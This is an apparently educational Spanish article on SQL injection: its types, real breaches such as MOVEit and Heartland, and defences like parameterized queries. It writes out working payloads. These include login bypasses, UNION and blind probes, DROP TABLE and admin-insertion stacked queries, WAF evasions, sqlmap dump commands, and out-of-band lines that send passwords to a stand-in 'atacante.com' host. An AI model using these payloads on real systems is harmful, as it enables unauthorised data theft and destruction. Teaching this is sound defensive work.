SQL Injection: Cuando la Base de Datos Obedece al Atacante
La inyección SQL lleva más de 25 años en el Top 10 de OWASP y sigue causando brechas masivas. De la brecha de Heartland (130 millones de tarjetas) a MOVEit (CVE-2023-34362), este artículo explica los tipos de SQLi, cómo se explotan y cómo prevenirlos definitivamente.
Qué es una inyección SQL
Una inyección SQL (SQL injection, SQLi) ocurre cuando un atacante inserta código SQL malicioso en una entrada que la aplicación incorpora directamente en una consulta a la base de datos. Si la aplicación construye la consulta concatenando strings en lugar de usar parámetros, el motor de base de datos no puede distinguir entre los datos del usuario y las instrucciones SQL. Ejecuta todo como si fuera una consulta legítima.
Es una de las vulnerabilidades más antiguas de la web (documentada formalmente por Jeff Forristal en Phrack Magazine en 1998) y, simultáneamente, una de las más vigentes. El OWASP Top 10:2025 la mantiene en el puesto #5 bajo la categoría Injection, con más de 14.000 CVEs acumulados. Según datos de 2025, se reportan más de 2.600 nuevos CVEs de SQL injection al año, y la categoría representa el 7,2% de todas las vulnerabilidades en proyectos de código abierto.
El impacto de una SQLi exitosa va desde la lectura no autorizada de datos hasta el control total del servidor de base de datos: extracción de credenciales, modificación de registros, borrado de tablas, lectura de archivos del sistema operativo y, en configuraciones permisivas, ejecución de comandos del sistema.
Cómo funciona: el ejemplo clásico del login bypass
Consideremos un formulario de login que construye la consulta SQL así:
# VULNERABLE: concatenación directa de input del usuario
def login(username, password):
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
result = db.execute(query)
if result:
return "Login exitoso"
return "Credenciales incorrectas"
Un usuario legítimo envía username=admin y password=secreto123. La consulta resultante es:
SELECT * FROM users WHERE username = 'admin' AND password = 'secreto123'
Un atacante envía username=admin' -- y password=cualquiercosa. La consulta se convierte en:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'cualquiercosa'
El -- es un comentario en SQL. Todo lo que viene después se ignora. La condición del password desaparece. La consulta se reduce a WHERE username = 'admin', y el atacante entra como administrador sin conocer la contraseña.
Otra variante clásica usa ' OR '1'='1:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
Como '1'='1' es siempre verdadero, la consulta devuelve todos los usuarios. La aplicación interpreta que la autenticación fue exitosa.
Tipos de SQL injection
1. In-band SQLi (clásica)
El atacante inyecta SQL y recibe los resultados directamente en la respuesta HTTP de la aplicación. Es la más fácil de explotar.
UNION-based: el atacante usa la cláusula UNION SELECT para concatenar los resultados de su consulta con los de la consulta legítima. Requiere conocer (o adivinar) el número de columnas de la consulta original.
-- Suponiendo que la consulta original tiene 3 columnas:
' UNION SELECT username, password, email FROM users --
El resultado muestra los datos de la tabla users como si fueran resultados normales de la búsqueda.
Error-based: el atacante fuerza errores SQL que exponen información sobre la estructura de la base de datos. Los mensajes de error de MySQL, PostgreSQL u Oracle pueden revelar nombres de tablas, columnas y tipos de datos.
-- En MySQL, EXTRACTVALUE genera un error que incluye el resultado de la subquery:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e)) --
2. Blind SQLi (boolean-based)
La aplicación no muestra datos de la consulta ni mensajes de error, pero el atacante puede distinguir entre respuestas "verdadero" y "falso" (por ejemplo, una página que carga correctamente versus un error genérico).
El atacante formula preguntas de sí/no a la base de datos:
-- ¿La primera letra del nombre del primer usuario es 'a'?
' AND (SELECT SUBSTRING(username, 1, 1) FROM users LIMIT 1) = 'a' --
-- ¿La versión de la base de datos empieza por '5'?
' AND SUBSTRING(@@version, 1, 1) = '5' --
Cada petición revela un bit de información. Extraer una base de datos completa por este método requiere miles de peticiones, pero herramientas como sqlmap lo automatizan.
3. Blind SQLi (time-based)
Cuando la aplicación no muestra diferencia visible entre respuestas verdaderas y falsas, el atacante usa funciones de retardo:
-- MySQL: si la condición es verdadera, espera 5 segundos
' AND IF((SELECT SUBSTRING(username, 1, 1) FROM users LIMIT 1) = 'a', SLEEP(5), 0) --
-- PostgreSQL:
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --
-- MSSQL:
'; WAITFOR DELAY '0:0:5' --
Si la respuesta tarda 5 segundos, la condición es verdadera. Si responde inmediatamente, es falsa. Es la técnica más lenta, pero funciona en prácticamente cualquier escenario donde exista una SQLi.
4. Out-of-band SQLi
El atacante usa funcionalidades de la base de datos para enviar datos a un servidor externo que controla. Por ejemplo, en Oracle:
' UNION SELECT UTL_HTTP.REQUEST('http://atacante.com/?data='||password) FROM users --
O en MSSQL usando xp_dirtree para forzar una resolución DNS:
'; EXEC xp_dirtree '\\atacante.com\share' --
El servidor DNS del atacante registra la petición, confirmando que la inyección funciona. Es útil cuando la aplicación no devuelve datos ni permite inferencia temporal.
5. Stacked queries
Algunas bases de datos (MSSQL, PostgreSQL) permiten ejecutar múltiples sentencias separadas por punto y coma:
'; DROP TABLE users; --
'; INSERT INTO users (username, password, role) VALUES ('hacker', 'pass', 'admin'); --
'; UPDATE users SET role = 'admin' WHERE username = 'atacante'; --
MySQL no permite stacked queries por defecto en la mayoría de conectores, lo que limita esta técnica.
6. Second-order SQLi
El payload se almacena y se ejecuta después. Ejemplo: un usuario se registra con el nombre admin' --. Este valor se guarda en la base de datos. Más tarde, una función administrativa construye una consulta usando ese nombre almacenado sin sanitizar:
# Se almacena sin problema (se usa INSERT parametrizado)
INSERT INTO users (username) VALUES ('admin'' --')
# Más tarde, otra función construye una query insegura:
query = f"SELECT * FROM logs WHERE author = '{stored_username}'"
# Se convierte en:
# SELECT * FROM logs WHERE author = 'admin' --'
El punto de entrada y el punto de explotación son funciones distintas, lo que dificulta enormemente la detección.
Brechas reales: el impacto de la inyección SQL
Heartland Payment Systems (2008): 130 millones de tarjetas
Albert Gonzalez y su equipo usaron técnicas avanzadas de SQL injection para penetrar la red de Heartland Payment Systems, el quinto procesador de pagos más grande de Estados Unidos. Explotaron vulnerabilidades SQLi en aplicaciones web corporativas para instalar sniffers en la red interna que interceptaban datos de tarjetas de crédito en tránsito.
El resultado: 130 millones de números de tarjetas de crédito y débito comprometidos. Heartland pagó más de 140 millones de dólares en compensaciones. Gonzalez fue condenado a 20 años de prisión, la mayor sentencia por cibercrimen en Estados Unidos en aquel momento.
Sony Pictures (2011): LulzSec y la humillación pública
El grupo hacktivista LulzSec comprometió múltiples bases de datos de Sony utilizando inyecciones SQL básicas (muchas eran simples UNION SELECT). Extrajeron datos personales de más de un millón de cuentas, incluyendo contraseñas almacenadas en texto plano. El ataque fue especialmente embarazoso porque las vulnerabilidades eran triviales de prevenir, y Sony ya había sufrido la brecha de PlayStation Network semanas antes.
MOVEit Transfer (2023): CVE-2023-34362 y el grupo Cl0p
En mayo de 2023, el grupo de ransomware Cl0p explotó una vulnerabilidad de inyección SQL blind en MOVEit Transfer, un software de transferencia de archivos empresarial de Progress Software. La vulnerabilidad (CVE-2023-34362) permitía a un atacante no autenticado acceder a la base de datos de MOVEit y ejecutar sentencias SQL arbitrarias.
Cl0p automatizó la explotación con un web shell llamado LemurLoot que instalaban tras la inyección inicial. Más de 2.500 organizaciones fueron afectadas, incluyendo agencias gubernamentales, universidades, bancos y empresas del Fortune 500. Se estima que los datos de más de 90 millones de personas fueron comprometidos. Es la brecha de SQL injection más grande de la década de 2020.
El aspecto más relevante: la vulnerabilidad existía porque la aplicación construía consultas SQL concatenando parámetros de la petición HTTP sin parametrizar. La misma causa raíz que en 1998.
TalkTalk (2015): un adolescente de 17 años
El proveedor de telecomunicaciones británico TalkTalk sufrió una brecha que afectó a 157.000 clientes, incluyendo datos bancarios de 15.656 cuentas. El ataque fue una SQL injection básica contra páginas web heredadas (legacy). El atacante tenía 17 años. TalkTalk fue multada con 400.000 libras por el ICO (regulador de datos del Reino Unido) por fallar en medidas básicas de seguridad.
Prevención: cómo eliminar SQL injection
1. Consultas parametrizadas (prepared statements)
La defensa fundamental y definitiva. Los parámetros se envían separados de la estructura de la consulta. El motor de base de datos nunca interpreta los datos del usuario como SQL.
Python (psycopg2, PostgreSQL):
# SEGURO: consulta parametrizada
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
Python (SQLAlchemy ORM):
# SEGURO: el ORM genera consultas parametrizadas
user = session.query(User).filter(
User.username == username,
User.password == hashed_password
).first()
PHP (PDO):
// SEGURO: prepared statement con PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
$stmt->execute(['user' => $username, 'pass' => $password]);
Comparación vulnerable vs. seguro en PHP:
// VULNERABLE: concatenación directa
$query = "SELECT * FROM products WHERE id = " . $_GET['id'];
$result = mysqli_query($conn, $query);
// SEGURO: prepared statement
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
2. ORMs con disciplina
Los ORMs (SQLAlchemy, Django ORM, Hibernate, Prisma, TypeORM) generan consultas parametrizadas por defecto. Son seguros mientras se usen correctamente. El riesgo aparece cuando se recurre a queries raw:
# SEGURO: ORM nativo
User.objects.filter(username=input_name)
# VULNERABLE: raw query con concatenación
User.objects.raw(f"SELECT * FROM users WHERE name = '{input_name}'")
# SEGURO: raw query con parámetros
User.objects.raw("SELECT * FROM users WHERE name = %s", [input_name])
3. Validación y sanitización de entrada
Como capa adicional (nunca como defensa única):
- Validar tipo: si el parámetro debe ser un entero, convertirlo a
int()antes de usarlo. - Whitelist: si el parámetro debe ser uno de N valores conocidos (como un nombre de columna para ORDER BY), validar contra una lista blanca.
- Escapar caracteres especiales: las funciones de escape (
mysql_real_escape_string,quote()en PDO) son mejor que nada, pero inferiores a las consultas parametrizadas porque dependen de la correcta configuración del charset.
4. Principio de mínimo privilegio en la base de datos
La cuenta de base de datos que usa la aplicación no debería tener más permisos de los necesarios:
- Un endpoint de lectura no necesita
INSERT,UPDATEniDELETE. - Nunca usar la cuenta
rootosadesde la aplicación. - Revocar permisos de
DROP,CREATE,ALTERpara la cuenta de aplicación. - Desactivar funcionalidades peligrosas:
xp_cmdshellen MSSQL,LOAD_FILE()/INTO OUTFILEen MySQL,COPYen PostgreSQL.
Si un atacante consigue una SQLi pero la cuenta solo tiene SELECT en una tabla específica, el daño se limita drásticamente.
5. WAF (Web Application Firewall)
Los WAFs (ModSecurity, AWS WAF, Cloudflare WAF) pueden detectar y bloquear patrones de SQLi conocidos en las peticiones HTTP. Son útiles como capa adicional, pero no sustituyen la corrección del código. Los atacantes sofisticados pueden evadir WAFs con técnicas de ofuscación:
-- Evasiones comunes de WAF:
/*!50000UNION*/+/*!50000SELECT*/ -- MySQL version comments
UnIoN SeLeCt -- mixed case
0x756e696f6e+0x73656c656374 -- hex encoding
Un WAF sin consultas parametrizadas en el backend es una falsa sensación de seguridad.
sqlmap: la herramienta de referencia
sqlmap es la herramienta estándar para detección y explotación automatizada de SQL injection en pentesting autorizado. Sus capacidades incluyen:
- Detección automática del tipo de SQLi (UNION, blind boolean, blind time-based, error-based, stacked queries, out-of-band).
- Identificación del motor de base de datos (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, MariaDB, DB2).
- Enumeración de bases de datos, tablas, columnas y datos.
- Lectura de archivos del sistema operativo (si la base de datos tiene permisos).
- Ejecución de comandos del SO (en configuraciones permisivas:
xp_cmdshell, UDF injection). - Soporte para second-order SQLi con los parámetros
--second-urly--second-req.
Ejemplo básico de uso (solo en sistemas autorizados):
# Detectar SQLi en un parámetro GET
sqlmap -u "http://ejemplo.com/buscar?q=test" --dbs
# Extraer tablas de una base de datos específica
sqlmap -u "http://ejemplo.com/buscar?q=test" -D nombre_db --tables
# Extraer datos de una tabla
sqlmap -u "http://ejemplo.com/buscar?q=test" -D nombre_db -T users --dump
sqlmap es legal cuando se usa contra sistemas propios o con autorización escrita. Usarlo contra sistemas ajenos es un delito.
Estadísticas y tendencias (2024-2025)
Los datos recientes muestran que SQL injection no está desapareciendo:
| Métrica | Valor | Fuente |
|---|---|---|
| Posición OWASP Top 10:2025 | #5 (Injection) | OWASP |
| CVEs SQLi esperados en 2025 | +2.600 | Aikido Security |
| Porcentaje de apps vulnerables (primer escaneo) | 20%+ | Aikido Security |
| SQLi como porcentaje de vulns en OSS | 7,2% | Aikido Security |
| Aplicaciones web atacadas por SQLi | 66% de ataques | Ponemon Institute |
| CVEs acumulados de SQL injection | +14.000 | OWASP |
| Organizaciones afectadas por MOVEit SQLi | 2.500+ | Múltiples fuentes |
El patrón es claro: a pesar de que la prevención es conocida desde hace más de 25 años, la inyección SQL persiste porque sigue habiendo código que concatena strings para construir consultas.
SQL injection en contextos modernos
APIs REST y GraphQL
Las APIs modernas no son inmunes. Un endpoint REST que acepta JSON puede ser vulnerable si el backend construye queries dinámicamente:
// POST /api/search
{
"filter": "admin' OR '1'='1"
}
GraphQL añade complejidad: las consultas anidadas y los resolvers personalizados pueden introducir puntos de inyección si no se parametrizan.
NoSQL injection
MongoDB, Redis, Elasticsearch y otras bases NoSQL tienen su propia variante de inyección. En MongoDB:
// Login bypass en MongoDB sin parametrizar
{ "username": {"$ne": ""}, "password": {"$ne": ""} }
La causa raíz es la misma: confiar en datos del usuario para construir consultas.
Cloud y serverless
Las funciones Lambda/Cloud Functions que acceden a bases de datos RDS o Aurora son igualmente vulnerables si concatenan strings. El entorno cloud no añade protección contra SQLi a nivel de aplicación.
Conclusión
La inyección SQL es la demostración más clara de un principio fundamental de seguridad: nunca confiar en los datos del usuario. La causa raíz (mezclar datos con instrucciones) se documentó en 1998 y la solución definitiva (consultas parametrizadas) existe desde la misma época. A pesar de ello, en 2025, organizaciones con recursos millonarios siguen sufriendo brechas masivas por SQLi.
La prevención es técnicamente trivial: usar consultas parametrizadas siempre, sin excepciones. El problema no es tecnológico, sino organizativo: código legacy, desarrolladores sin formación en seguridad, presión por entregar funcionalidades, y la falsa confianza en que un WAF o un ORM lo cubrirán todo.
Para un analista SOC o un profesional de CTI, cada CVE de SQL injection en software empresarial (MOVEit, Barracuda, Citrix, Fortinet) es una señal de que la brecha más probable de su organización puede venir del punto más básico: una consulta que concatena un string.
Artículo de la serie Vulnerabilidades de MalwareIntel. Análisis técnico con fines educativos y defensivos.
Técnicas MITRE ATT&CK referenciadas
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.